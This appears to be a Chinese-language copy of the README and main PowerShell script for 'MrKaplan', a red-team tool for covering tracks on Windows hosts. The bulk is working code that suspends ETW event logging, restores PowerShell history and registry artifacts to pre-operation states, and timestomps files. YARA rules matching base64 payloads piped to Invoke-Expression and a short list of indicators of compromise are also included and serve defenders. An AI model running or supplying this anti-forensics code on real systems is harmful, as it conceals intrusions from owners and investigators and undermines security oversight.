Idov31/MrKaplan
描述
MrKaplan 是一种工具,旨在通过清除执行证据来帮助红队人员保持隐藏状态。它的工作原理是保存运行时间、文件快照等信息,并将每个证据与相关用户相关联。
这个工具的灵感来自MoonWalk,这是一个用于 Unix 机器的类似工具。
您可以在wiki页面中阅读有关它的更多信息。
功能
- 停止事件记录
- 清除文件工件
- 清除注册表工件
- 可以为多个用户运行
- 可以作为用户和管理员运行(强烈建议以管理员身份运行)
- 可以保存文件的时间戳
-
用法
在计算机上开始操作之前,使用开始标志运行 MrKaplan,每当您完成时再次使用结束标志运行它。
- 不要删除 MrKaplan 注册表项,否则 MrKaplan 将无法使用该信息。
代码
YARA
/*A rule to detect MrKaplan.Author: Ido Veltzman (Idov31)Date: 15-04-2022*/rule MrKaplanStandalone {meta:description = "A rule to detect MrKaplanStandalone."author = "Idov31"date = "2022-04-15"strings:$imports1 = /[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(.*) | Invoke-Expression/i nocase$imports2 = /[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(.*) | iex/i nocase$s1 = "MrKaplan.ps1" ascii nocase$s2 = "Clear-Evidence" ascii nocase$s3 = "EventLogSettings" ascii nocase$s4 = "runAsUser" ascii nocase$s5 = "PSHistory" ascii nocase$s6 = "C:\\Users\\$($user)\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt" ascii nocase$s7 = "HKCU:\Software\MrKaplan" ascii nocase$s8 = "Invoke-StompFiles" ascii nocase$s9 = "Clear-Files" ascii nocase$s10 = "Clear-Registry" ascii nocase$s11 = "Invoke-RestoreEtw" ascii nocase$s12 = "Invoke-LogFileToStomp" ascii nocase$s13 = "Invoke-SuspendEtw" ascii nocaseconditions:any of $imports* and 3 of ($s*)}rule MrKaplan {meta:description = "A rule to detect MrKaplan."author = "Idov31"date = "2022-04-15"strings:$imports1 = "Import-Module .\\Modules\\Registry.psm1" ascii nocase$imports2 = "Import-Module .\\Modules\\Files.psm1" ascii nocase$imports3 = "Import-Module .\\Modules\\Eventlogs.psm1" ascii nocase$imports4 = "Import-Module .\\Modules\\Utils.psm1" ascii nocase$imports5 = "ipmo .\\Modules\\Registry.psm1" ascii nocase$imports6 = "ipmo .\\Modules\\Files.psm1" ascii nocase$imports7 = "ipmo .\\Modules\\Eventlogs.psm1" ascii nocase$imports8 = "ipmo .\\Modules\\Utils.psm1" ascii nocase$s1 = "MrKaplan.ps1" ascii nocase$s2 = "Clear-Evidence" ascii nocase$s3 = "EventLogSettings" ascii nocase$s4 = "runAsUser" ascii nocase$s5 = "PSHistory" ascii nocase$s6 = "C:\\Users\\$($user)\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt" ascii nocase$s7 = "HKCU:\Software\MrKaplan" ascii nocase$s8 = "Invoke-StompFiles" ascii nocase$s9 = "Clear-Files" ascii nocase$s10 = "Clear-Registry" ascii nocase$s11 = "Invoke-RestoreEtw" ascii nocase$s12 = "Invoke-LogFileToStomp" ascii nocase$s13 = "Invoke-SuspendEtw" ascii nocaseconditions:4 of $imports* and 3 of ($s*)}
PowerShell
param ([Parameter(Mandatory=$true)][String]$operation,[String]$etwBypassMethod,[String]$stompedFilePath,[String[]]$users,[String[]]$exclusions,[Switch]$runAsUser = $false)Import-Module .\Modules\Registry.psm1Import-Module .\Modules\Files.psm1Import-Module .\Modules\Eventlogs.psm1Import-Module .\Modules\Utils.psm1$rootKeyPath = "HKCU:\Software\MrKaplan"$PSDefaultParameterValues['*:Encoding'] = 'utf8'$usage = "`n[*] Possible Usage:`n`n[*] Show help message:`n`t.\MrKaplan.ps1 help`n`n[*] For config creation and start:`n`t.\MrKaplan.ps1 begin`n`t.\MrKaplan.ps1 begin -Users Reddington,Liz`n`t.\MrKaplan.ps1 begin -Users Reddington`n`t.\MrKaplan.ps1 begin -EtwBypassMethod overflow`n`t.\MrKaplan.ps1 begin -RunAsUser`n`t.\MrKaplan.ps1 begin -Exclusions BamKey, OfficeHistory`n`n[*] For cleanup:`n`t.\MrKaplan.ps1 end`n`n[*] To save file's timestamps:`n`t.\MrKaplan.ps1 timestomp -StompedFilePath C:\path\to\file`n`n"if (Test-Path "banner.txt") {$banner = Get-Content -Path "banner.txt" -RawWrite-Host $banner}function New-Config {param ([String[]]$users,[String]$etwBypassMethod,[String[]]$exclusions)New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERSif (Test-Path $rootKeyPath) {Write-Host "[-] Config already exists, please delete the current and rerun." -ForegroundColor Redreturn $false}New-Item -Path $rootKeyPathNew-Item -Path $rootKeyPath -Name "Users"if (-not $exclusions) {$exclusions = @()}# Stopping the event logging.if (-not $runAsUser) {New-ItemProperty -Path $rootKeyPath -Name "RunAsUser" -PropertyType "DWord" -Value $falseif (-not $exclusions.Contains("eventlogs")) {Write-Host "[*] Stopping event logging..." -ForegroundColor Blueif ($etwBypassMethod -eq "overflow") {Write-Host "[*] This method won't allow any regular user to log in until you end MrKaplan." -ForegroundColor Yellowif ($(Read-Host "Are you sure? [y/n]") -eq "y") {$etwMetadata = Get-EventLogsSettingsif ($etwMetadata.Count -eq 0) {return $false}if (!$(Clear-EventLogging)) {return $false}New-Item -Path $rootKeyPath -Name "EventLogSettings"foreach ($setting in $etwMetadata.GetEnumerator()) {New-ItemProperty -Path "$($rootKeyPath)\EventLogSettings" -Name $setting.Name -Value $setting.Value}}else {Write-Host "[-] Exiting..." -ForegroundColor Redreturn $false}}elseif ($etwBypassMethod -eq "suspend" -or $etwBypassMethod -eq "") {$etwMetadata = Invoke-SuspendEtwif ($etwMetadata.Count -eq 0) {return $false}New-Item -Path $rootKeyPath -Name "EventLogSettings"foreach ($setting in $etwMetadata[1].GetEnumerator()) {New-ItemProperty -Path "$($rootKeyPath)\EventLogSettings" -Name $setting.Name -Value $setting.Value}}else {Write-Host "[-] Unknown ETW patching method, exiting..." -ForegroundColor Redreturn $false}Write-Host "[+] Stopped event logging." -ForegroundColor Green}if (-not $exclusions.Contains("appcompatcache")) {Copy-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" -Destination "$($rootKeyPath)\AppCompatCache" -Force -Recurse}}else {New-ItemProperty -Path $rootKeyPath -Name "RunAsUser" -Value $true}if ($users) {if (!$runAsUser) {$users.Add($env:USERNAME)}else {Write-Host "[-] Cannot use both run as user and users!" -ForegroundColor Redreturn $false}}else {$users = @($env:USERNAME)}# Saving current time.New-ItemProperty -Path $rootKeyPath -Name "Time" -Value $(Get-Date).DateTime# Saving user data.$comDlg32Path = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32"foreach ($user in $users) {if ($exclusions.Contains("pshistory")) {$powershellHistory = ""}else {$powershellHistoryFile = "C:\Users\$($user)\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"if (Test-Path $powershellHistoryFile) {$powershellHistory = [Convert]::ToBase64String([IO.File]::ReadAllBytes($powershellHistoryFile))}else {$powershellHistory = ""}}New-Item -Path "$($rootKeyPath)\Users" -Name $userNew-ItemProperty -Path "$($rootKeyPath)\Users\$($user)" -Name "PSHistory" -Value $powershellHistoryif (-not $exclusions.Contains("comdlg32")) {$sid = $(New-Object System.Security.Principal.NTAccount($user)).Translate([System.Security.Principal.SecurityIdentifier]).Valueif (!(Test-Path "HKU:\$($sid)\$($comDlg32Path)")) {continue}Copy-Item "HKU:\$($sid)\$($comDlg32Path)" -Destination "$($rootKeyPath)\Users\$($user)" -Force -Recurse}}New-ItemProperty -Path $rootKeyPath -Name "Exclusions" -Value $exclusionsreturn $true}function Clear-Evidence {$result = $true# Parsing the config.if (-not (Test-Path $rootKeyPath)) {Write-Host "[-] Config doesn't exist" -ForegroundColor Redreturn $false}# Running the modules on each user.Write-Host "[*] Cleaning logs..." -ForegroundColor Blue$users = $(Get-ChildItem -Path "$($rootKeyPath)\Users" | Select-Object PSChildName).PSChildName$runAsUser =$(Get-ItemProperty -Path $rootKeyPath -Name "RunAsUser").RunAsUser$time = $(Get-ItemProperty -Path $rootKeyPath -Name "Time").Time$exclusions = $(Get-ItemProperty -Path $rootKeyPath -Name "Exclusions").Exclusions# Stomping the files.$filesToStomp = @{}if (Test-Path "$($rootKeyPath)\StompedFiles") {$regFilesToStomp = Get-ItemProperty "$($rootKeyPath)\StompedFiles"$regFilesToStomp.PsObject.Properties |ForEach-Object {$filesToStomp[$_.Name] = $_.Value}}Invoke-StompFiles $filesToStompforeach ($user in $users) {$psHistory = $(Get-ItemProperty -Path "$($rootKeyPath)\Users\$($user)" -Name "PSHistory").PSHistoryif (-not $(Clear-Files $time $psHistory $user $runAsUser $exclusions)) {Write-Host "[-] Failed to clean files for $($user)." -ForegroundColor Red$result = $false}}if (!$(Clear-Registry $time $users $runAsUser $exclusions $rootKeyPath)) {Write-Host "[-] Failed to cleanup the registry." -ForegroundColor Red$result = $false}# Restoring the event logging.if (!$runAsUser -and -not $exclusions.Contains("eventlogs")) {Write-Host "[*] Restoring event logging..." -ForegroundColor Blueif (Test-Path "$($rootKeyPath)\EventLogSettings") {$etwMetadata = @{}$regEventLog = Get-ItemProperty "$($rootKeyPath)\EventLogSettings"$regEventLog.PsObject.Properties |ForEach-Object {$etwMetadata[$_.Name] = $_.Value}if (!$(Invoke-RestoreEtw $etwMetadata)) {Write-Host "[-] Failed to restore the eventlogging." -ForegroundColor Red$result = $false}}}if ($result) {Write-Host "[+] Restored! Be careful with your actions now." -ForegroundColor GreenRemove-Item -Path $rootKeyPath -Recurse -Force}else {Write-Host "[!] Finished with partial restoration." -ForegroundColor Yellow}return $result}if ($operation -eq "begin") {for ($i = 0; $i -lt $exclusions.Count; $i++) {$exclusions[$i] = $exclusions[$i].ToLower()}if (New-Config $users $etwBypassMethod $exclusions) {Write-Host "`n[+] Saved required information!`n[+] You can do your operations." -ForegroundColor Green}else {Write-Host "`n[-] Failed to create config file." -ForegroundColor Red}}elseif ($operation -eq "end") {if (Clear-Evidence) {Write-Host "`n[+] All evidences cleared!" -ForegroundColor Green}else {Write-Host "`n[-] Failed to clear all evidences." -ForegroundColor Red}}elseif ($operation -eq "timestomp") {if (Invoke-LogFileToStomp $rootKeyPath $stompedFilePath) {Write-Host "`n[+] Saved file's timestamps." -ForegroundColor Green}else {Write-Host "`n[-] Failed to save timestamps." -ForegroundColor Red}}elseif ($operation -eq "help") {Write-Host $usage -ForegroundColor Blue}else {Write-Host "`n[!] Invalid Usage!" -ForegroundColor RedWrite-Host $usage -ForegroundColor Blue}
IoCs
- 访问 wiki 页面中提到的工件的 Powershell 进程。
- Powershell 导入奇怪的 base64 blob。
- 执行令牌操作的 Powershell 进程。
MrKaplan 的注册表项:HKCU:\Software\MrKaplan。
致谢
- Phant0m
- ForensicArtifacts
免责声明
对于由于此项目而对您的计算机/程序造成的任何损害,我概不负责。我很高兴接受贡献,提出拉取请求,我会审查它!

